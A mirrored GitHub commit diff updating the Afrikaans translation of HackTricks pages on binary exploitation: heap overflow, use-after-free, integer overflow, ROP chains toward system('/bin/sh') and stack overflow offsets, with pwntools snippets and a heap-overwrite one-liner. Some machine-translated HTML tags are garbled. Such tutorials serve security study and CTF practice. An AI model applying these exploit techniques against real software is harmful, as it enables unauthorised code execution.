mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h
This commit is contained in:
Translator
parent
8735e490d3
commit
b53e6ce6e7
12 changed files with 302 additions and 145 deletions
|
|
@ -712,6 +712,9 @@
|
|||
* [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
* [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
* [Heap](binary-exploitation/heap/README.md)
|
||||
* [Use After Free](binary-exploitation/heap/use-after-free.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)
|
||||
|
|
|
|||
3
binary-exploitation/heap/README.md
Normal file
3
binary-exploitation/heap/README.md
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
# Heap
|
||||
|
||||
# Hoop
|
||||
45
binary-exploitation/heap/heap-overflow.md
Normal file
45
binary-exploitation/heap/heap-overflow.md
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
# Heap Oorvloei
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
'n Heap oorvloei is soos 'n [**stapel oorvloei**](../stack-overflow/) maar in die heap. Dit beteken basies dat daar 'n spasie in die heap gereserveer was om data te stoor en **die gestoorde data was groter as die gereserveerde spasie.**
|
||||
|
||||
In stapel oorvloeie weet ons dat sekere registers soos die instruksie-aanwyser of die stapelraam van die stapel herstel gaan word en dit moontlik is om dit te misbruik. In die geval van heap oorvloeie, **is daar nie enige sensitiewe inligting standaard gestoor in die heap brokkie wat oorvloei kan word nie.** Dit kan egter sensitiewe inligting of aanwysers wees, dus die **kritikaliteit** van hierdie kwesbaarheid **hang af** van **watter data oorskryf kan word** en hoe 'n aanvaller dit kan misbruik.
|
||||
|
||||
{% hint style="success" %}
|
||||
Om oorvloei-offsette te vind, kan jy dieselfde patrone gebruik as in [**stapel oorvloeie**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
{% endhint %}
|
||||
|
||||
## Voorbeeld ARM64
|
||||
|
||||
Op die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n voorbeeld van 'n heap oorvloei vind waar 'n bevel wat uitgevoer gaan word, gestoor word in die volgende brokkie van die oorvloei brokkie. Dus, dit is moontlik om die uitgevoerde bevel te wysig deur dit te oorskryf met 'n maklike aanval soos:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
<besonderhede>
|
||||
|
||||
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</besonderhede>
|
||||
26
binary-exploitation/heap/use-after-free.md
Normal file
26
binary-exploitation/heap/use-after-free.md
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# Gebruik Na Vry
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Soos die naam aandui, gebeur hierdie kwesbaarheid wanneer 'n program **ruimte in die heap stoor** vir 'n objek, **inligting daar skryf**, dit **vrymaak** omdat dit blykbaar nie meer nodig is nie en dan dit weer **toegang gee**.
|
||||
|
||||
Die probleem hier is dat dit nie onwettig is (daar **sal geen foute wees**) wanneer 'n **vrygemaakte geheue toegang kry** nie. Dus, as die program (of die aanvaller) daarin geslaag het om **die vrygemaakte geheue toe te ken en arbitrêre data te stoor**, wanneer die vrygemaakte geheue vanaf die oorspronklike aanwysers toegang kry, sal daardie data oorskryf wees wat 'n **kwesbaarheid veroorsaak wat sal afhang van die sensitiwiteit van die oorspronklike gestoorde data** (as dit 'n aanwysing van 'n funksie was wat geroep sou word, kan 'n aanvaller dit nou beheer).
|
||||
|
||||
## Ander Verwysings & Voorbeelde
|
||||
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
* ARM64. Gebruik na vry: Skep 'n gebruiker, maak dit vry, hergebruik dieselfde blok **deur die posisie van die gebruiker se wagwoord te oorskryf** van die vorige een. Hergebruik die gebruiker om **die wagwoordkontrole te omseil**
|
||||
|
|
@ -43,7 +43,7 @@ println!("{}", add_result);
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Afrikaans" %}
|
||||
Integer-overflow is 'n baie algemene fout in C-programmering. Dit gebeur wanneer 'n waarde groter as die maksimum toelaatbare waarde vir 'n spesifieke data tipe toegewys word. Dit kan lei tot onvoorspelbare gedrag en selfs sekuriteitsrisiko's in programme. Dit is belangrik om integer-overflow te vermy deur behoorlike grensekontrole en data validasie te implementeer in jou programme.
|
||||
Integer-overflow is 'n baie algemene fout in C-programmering. Dit gebeur wanneer 'n waarde groter is as die maksimum waarde wat 'n spesifieke data tipe kan hanteer. Dit kan lei tot onvoorspelbare gedrag in 'n program, insluitend die oorskrywing van geheue en selfs die uitvoering van skadelike kode.
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
|
@ -107,18 +107,19 @@ In hierdie voorbeeld, as 'n gebruiker 'n negatiewe nommer invoer, sal dit geïnt
|
|||
### Ander Voorbeelde
|
||||
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
||||
* Die program valideer slegs die laaste byte van 'n nommer om die grootte van die inset te kontroleer, daarom is dit moontlik om enige grootte by te voeg solank die laaste byte binne die toegelate reeks val. Dan skep die inset 'n buffer-oorvloei wat uitgebuit word met 'n ret2win.
|
||||
* Slegs 1B word gebruik om die grootte van die wagwoord te stoor, sodat dit moontlik is om dit te oorvloei en dit te laat dink dat dit 'n lengte van 4 is terwyl dit eintlik 260 is om die lengtekontrolebeskerming te omseil
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
|
||||
* Gee 'n paar getalle en vind met behulp van z3 'n nuwe nommer wat met die eerste vermenigvuldig sal word om die tweede een te gee: 
|
||||
* Gegee 'n paar getalle vind met behulp van z3 'n nuwe nommer wat met die eerste vermenigvuldig sal word om die tweede een te gee: 
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
* Slegs 1B word gebruik om die grootte van die wagwoord te stoor, sodat dit moontlik is om dit te oorvloei en dit te laat dink dat dit 'n lengte van 4 is terwyl dit eintlik 260 is om die lengtekontrolebeskerming te omseil en in die stapel die volgende plaaslike veranderlike te oorskryf en beide beskermings te omseil
|
||||
|
||||
\
|
||||
|
||||
|
||||
## ARM64
|
||||
|
||||
Hierdie **verander nie in ARM64** soos gesien kan word in [**hierdie blogpos**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -126,9 +127,9 @@ In hierdie voorbeeld, as 'n gebruiker 'n negatiewe nommer invoer, sal dit geïnt
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
|||
|
|
@ -21,7 +21,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
### Hoe ROP Werk
|
||||
|
||||
1. **Beheerstroomkaping**: Eerstens moet 'n aanvaller die beheerstroom van 'n program kap, tipies deur 'n buffer-oorvloei te benut om 'n gestoorde terugkeeradres op die stok oor te skryf.
|
||||
2. **Gadget-ketting**: Die aanvaller kies dan sorgvuldig gadgets en koppel hulle aan mekaar om die gewenste aksies uit te voer. Dit kan die opstel van argumente vir 'n funksieoproep, die aanroep van die funksie (bv., `system("/bin/sh")`), en die hanteer van enige nodige skoonmaak of bykomende operasies insluit.
|
||||
2. **Gadget-ketting**: Die aanvaller kies dan sorgvuldig gadgets en koppel hulle aan mekaar om die gewenste aksies uit te voer. Dit kan die opstel van argumente vir 'n funksieoproep behels, die aanroep van die funksie (bv., `system("/bin/sh")`), en die hanteer van enige nodige skoonmaak of bykomende operasies.
|
||||
3. **Ladinguitvoering**: Wanneer die kwesbare funksie terugkeer, begin dit in plaas van om na 'n wettige plek terug te keer, die ketting van gadgets uitvoer.
|
||||
|
||||
### Gereedskap
|
||||
|
|
@ -32,7 +32,7 @@ Gewoonlik kan gadgets gevind word met behulp van [**ROPgadget**](https://github.
|
|||
|
||||
### **x86 (32-bis) Oproepkonvensies**
|
||||
|
||||
* **cdecl**: Die aanroeper maak die stok skoon. Funksie-argumente word in omgekeerde volgorde (regs-na-links) op die stok gedruk. **Argumente word van regs na links op die stok gedruk.**
|
||||
* **cdecl**: Die oproeper maak die stok skoon. Funksie-argumente word in omgekeerde volgorde (regs-na-links) op die stok gedruk. **Argumente word van regs na links op die stok gedruk.**
|
||||
* **stdcall**: Soortgelyk aan cdecl, maar die ontvanger is verantwoordelik vir die skoonmaak van die stok.
|
||||
|
||||
### **Gadgets Vind**
|
||||
|
|
@ -46,12 +46,12 @@ Eerstens, laat ons aanneem dat ons die nodige gadgets binne die binêre lêer of
|
|||
|
||||
### **ROP-ketting**
|
||||
|
||||
Met behulp van **pwntools** berei ons die stok voor vir die uitvoering van die ROP-ketting soos hieronder met die doel om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
|
||||
Met behulp van **pwntools** berei ons die stok voor vir die uitvoering van die ROP-ketting soos hieronder gemik om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
|
||||
|
||||
1. 'n `ret` instruksie vir uitlyn doeleindes (opsioneel)
|
||||
2. Adres van `system`-funksie (onder die aanname dat ASLR uitgeskakel is en bekende libc, meer inligting in [**Ret2lib**](ret2lib/))
|
||||
2. Adres van `system`-funksie (onder die veronderstelling dat ASLR uitgeskakel is en bekende libc, meer inligting in [**Ret2lib**](ret2lib/))
|
||||
3. Plekhouer vir die terugkeeradres van `system()`
|
||||
4. `"/bin/sh"` string-adres (parameter vir stelsel funksie)
|
||||
4. `"/bin/sh"` string adres (parameter vir stelsel funksie)
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -98,13 +98,13 @@ p.interactive()
|
|||
Vir ons doel, laat ons fokus op gadgets wat ons sal toelaat om die **RDI** register in te stel (om die **"/bin/sh"** string as 'n argument aan **system()** oor te dra) en dan die **system()** funksie aan te roep. Ons aanvaar dat ons die volgende gadgets geïdentifiseer het:
|
||||
|
||||
* **pop rdi; ret**: Haal die boonste waarde van die stok in **RDI** uit en keer dan terug. Essensieel vir die instelling van ons argument vir **system()**.
|
||||
* **ret**: 'n Eenvoudige terugkeer, nuttig vir stokuitlyn in sommige scenario's.
|
||||
* **ret**: 'n Eenvoudige terugkeer, nuttig vir stokuitlyn in sommige scenarios.
|
||||
|
||||
En ons weet die adres van die **system()** funksie.
|
||||
|
||||
### **ROP Ketting**
|
||||
|
||||
Hieronder is 'n voorbeeld wat **pwntools** gebruik om 'n ROP-keetting op te stel en uit te voer met die doel om **system('/bin/sh')** op **x64** uit te voer:
|
||||
Hieronder is 'n voorbeeld wat **pwntools** gebruik om 'n ROP-reeks op te stel en uit te voer met die doel om **system('/bin/sh')** op **x64** uit te voer:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -147,18 +147,30 @@ In hierdie voorbeeld:
|
|||
|
||||
### Stakingsbelyning
|
||||
|
||||
**Die x86-64 ABI** verseker dat die **stapel 16-byte gebelyn** is wanneer 'n **oproepinstruksie** uitgevoer word. **LIBC**, om prestasie te optimaliseer, **gebruik SSE-instruksies** (soos **movaps**) wat hierdie belyning vereis. As die stapel nie behoorlik gebelyn is nie (wat beteken dat **RSP** nie 'n veelvoud van 16 is nie), sal oproepe na funksies soos **system** misluk in 'n **ROP-ketting**. Om dit te regstel, voeg eenvoudig 'n **ret gadget** by voordat jy **system** in jou ROP-ketting aanroep.
|
||||
**Die x86-64 ABI** verseker dat die **stapel 16-byte gebelyn** is wanneer 'n **oproepinstruksie** uitgevoer word. **LIBC**, om prestasie te optimaliseer, **gebruik SSE-instruksies** (soos **movaps**) wat hierdie belyning vereis. As die stapel nie behoorlik gebelyn is nie (wat beteken dat **RSP** nie 'n veelvoud van 16 is nie), sal oproepe na funksies soos **system** misluk in 'n **ROP-ketting**. Om dit reg te stel, voeg eenvoudig 'n **ret gadget** by voordat jy **system** in jou ROP-ketting aanroep.
|
||||
|
||||
## x86 vs x64 hoofverskil
|
||||
|
||||
{% hint style="success" %}
|
||||
Aangesien **x64 registers gebruik vir die eerste paar argumente,** vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar die vind en koppel van die regte gadgets kan meer kompleks wees as gevolg van die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in **x64**-argitektuur bied geleenthede en uitdagings vir uitbuitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP).
|
||||
Aangesien **x64 registers vir die eerste paar argumente gebruik**, vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar die vind en koppel van die regte gadgets kan meer kompleks wees as gevolg van die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in **x64**-argitektuur bied beide geleenthede en uitdagings vir uitbuitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP).
|
||||
{% endhint %}
|
||||
|
||||
## ROP-ketting in ARM64 Voorbeeld
|
||||
|
||||
### **ARM64 Basiese beginsels & Oproepkonvensies**
|
||||
|
||||
Kyk na die volgende bladsy vir hierdie inligting:
|
||||
|
||||
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
|
||||
## Beskerming teen ROP
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Hierdie beskermings maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoerings verander.
|
||||
* [**Stapelkanaries**](../common-binary-protections-and-bypasses/stack-canaries/): In geval van 'n BOF, is dit nodig om die gestapelde kanarie te omseil om terugkeerpunte te oorskryf om 'n ROP-ketting te misbruik.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Hierdie beskerming maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoerings verander.
|
||||
* [**Stapelkanaries**](../common-binary-protections-and-bypasses/stack-canaries/): In geval van 'n BOF, is dit nodig om die stapelkanarie te omseil om terugkeerpunte te oorskryf om 'n ROP-ketting te misbruik.
|
||||
* **Gebrek aan Gadgets**: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om 'n ROP-ketting te genereer nie.
|
||||
|
||||
## ROP-gebaseerde tegnieke
|
||||
|
|
@ -187,4 +199,6 @@ Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
* 64 bit, Pie en nx geaktiveer, geen kanarie, oorskryf RIP met 'n `vsyscall`-adres met die enigste doel om terug te keer na die volgende adres in die stapel wat 'n gedeeltelike oorskrywing van die adres sal wees om die deel van die funksie te kry wat die vlag lek.
|
||||
* 64 bit, Pie en nx geaktiveer, geen kanarie, oorskryf RIP met 'n `vsyscall`-adres met die enigste doel om terug te keer na die volgende adres in die stapel wat 'n gedeeltelike oorskrywing van die adres sal wees om die deel van die funksie te kry wat die vlag lek
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, geen ASLR, ROP-gadget om stapel uitvoerbaar te maak en na skelkode in stapel te spring
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -16,7 +16,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
## Wat is 'n Stok Oorvloei
|
||||
|
||||
'n **Stok oorvloei** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stok skryf as wat daaraan toegewys is om te hou. Hierdie oortollige data sal **aangrensende geheue-ruimte oorskryf**, wat lei tot die korrupsie van geldige data, beheerstroom-onderbreking, en moontlik die uitvoering van skadelike kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op insette uitvoer nie.
|
||||
'n **Stok oorvloei** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stok skryf as wat dit toegewys is om te hou. Hierdie oortollige data sal **aangrensende geheue-ruimte oorskryf**, wat lei tot die korrupsie van geldige data, beheerstroom-onderbreking, en moontlik die uitvoering van skadelike kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op insette uitvoer nie.
|
||||
|
||||
Die hoofprobleem van hierdie oorskrywing is dat die **gestoorde instruksie-aanwyser (EIP/RIP)** en die **gestoorde basisaanwyser (EBP/RBP)** om terug te keer na die vorige funksie **op die stok gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskryf en die uitvoeringsvloei van die program te beheer.
|
||||
|
||||
|
|
@ -33,13 +33,13 @@ gets(buffer); // This is where the vulnerability lies
|
|||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Vind van Stok Oorvloeiingsafsette
|
||||
### Vind van Stack Overflow-offsets
|
||||
|
||||
Die mees algemene manier om stok oorvloeiings te vind, is om 'n baie groot inset van `A`'s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**.
|
||||
Die mees algemene manier om stap-oorvloeie te vind, is om 'n baie groot inset van `A`'s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**.
|
||||
|
||||
Verder, sodra jy gevind het dat daar 'n Stok Oorvloeiingskwesbaarheid is, sal jy die afset moet vind totdat dit moontlik is om die **terugkeeradres te oorskryf**, hiervoor word gewoonlik 'n **De Bruijn-reeks** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreeks van lengte _n_ 'n **sikliese reeks is waarin elke moontlike subreeks van lengte _n_** presies een keer voorkom as 'n aaneenlopende subreeks.
|
||||
Verder, sodra jy gevind het dat daar 'n Stack Overflow-kwesbaarheid is, sal jy die offset moet vind totdat dit moontlik is om die **terugkeeradres te oorskryf**, hiervoor word gewoonlik 'n **De Bruijn-reeks** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreeks van lengte _n_ 'n **sikliese reeks is waarin elke moontlike subreeks van lengte _n_** presies een keer **verskyn as 'n aaneenlopende subreeks.
|
||||
|
||||
Op hierdie manier, in plaas daarvan om met die hand te moet uitfigure watter afset nodig is om die EIP te beheer, is dit moontlik om een van hierdie reekse as vulsel te gebruik en dan die afset van die byte te vind wat dit uiteindelik oorskryf het.
|
||||
Op hierdie manier, in plaas daarvan om met die hand te moet uitfigure watter offset nodig is om die EIP te beheer, is dit moontlik om een van hierdie reekse as vulsel te gebruik en dan die offset van die byte te vind wat dit uiteindelik oorskryf het.
|
||||
|
||||
Dit is moontlik om **pwntools** hiervoor te gebruik:
|
||||
```python
|
||||
|
|
@ -60,12 +60,12 @@ pattern create 200 #Generate length 200 pattern
|
|||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Uitbuiting van Staprofloop
|
||||
## Uitbuiting van Stok Oorvloei
|
||||
|
||||
Tydens 'n oorvloei (onder die aanname dat die oorvloei groot genoeg is) sal jy in staat wees om **waardes van plaaslike veranderlikes binne die stapel te oorskryf** totdat die gestoorde **EBP/RBP en EIP/RIP (of selfs meer)** bereik word.\
|
||||
Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugkeeradres te wysig** sodat wanneer die funksie eindig, die **beheerstroom sal word omgelei na waar die gebruiker dit gespesifiseer het** in hierdie aanwysers.
|
||||
Tydens 'n oorvloei (onder die aanname dat die oorvloei groot genoeg is) sal jy in staat wees om **waardes van plaaslike veranderlikes binne die stok te oorskryf** totdat die gestoorde **EBP/RBP en EIP/RIP (of selfs meer)** bereik word.\
|
||||
Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugkeeradres te wysig** sodat wanneer die funksie eindig, die **beheerstroom omgelei sal word na waar die gebruiker dit gespesifiseer het** in hierdie aanwysers.
|
||||
|
||||
In ander scenario's mag dit dalk net genoeg wees vir die uitbuiting om **sommige veranderlikes se waardes in die stapel te oorskryf** (soos in maklike CTF-uitdagings).
|
||||
In ander scenario's mag dit dalk net genoeg wees vir die uitbuiting om **sommige veranderlikes se waardes in die stok te oorskryf** (soos in maklike CTF-uitdagings).
|
||||
|
||||
### Ret2win
|
||||
|
||||
|
|
@ -75,9 +75,9 @@ In hierdie tipe CTF-uitdagings is daar 'n **funksie binne** die binêre lêer wa
|
|||
[ret2win](ret2win/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Stapel-skakelkode
|
||||
### Stok Skelkode
|
||||
|
||||
In hierdie scenario kan die aanvaller 'n skakelkode in die stapel plaas en die beheerde EIP/RIP misbruik om na die skakelkode te spring en willekeurige kode uit te voer:
|
||||
In hierdie scenario kan die aanvaller 'n skelkode in die stok plaas en die beheerde EIP/RIP misbruik om na die skelkode te spring en willekeurige kode uit te voer:
|
||||
|
||||
{% content-ref url="stack-shellcode/" %}
|
||||
[stack-shellcode](stack-shellcode/)
|
||||
|
|
@ -85,16 +85,38 @@ In hierdie scenario kan die aanvaller 'n skakelkode in die stapel plaas en die b
|
|||
|
||||
### ROP & Ret2... tegnieke
|
||||
|
||||
Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vorige tegniek te omseil: **Geen uitvoerbare stapel (NX)**. Dit maak dit moontlik om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall...) wat sal eindig met die uitvoering van willekeurige bevele deur bestaande instruksies in die binêre lêer te misbruik:
|
||||
Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming teen die vorige tegniek te omseil: **Geen uitvoerbare stok (NX)**. Dit maak dit moontlik om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall...) wat sal eindig met die uitvoer van willekeurige bevele deur bestaande instruksies in die binêre lêer te misbruik:
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/" %}
|
||||
[rop-return-oriented-programing](../rop-return-oriented-programing/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Tipes beskerming
|
||||
## Stok Oorvloeie
|
||||
|
||||
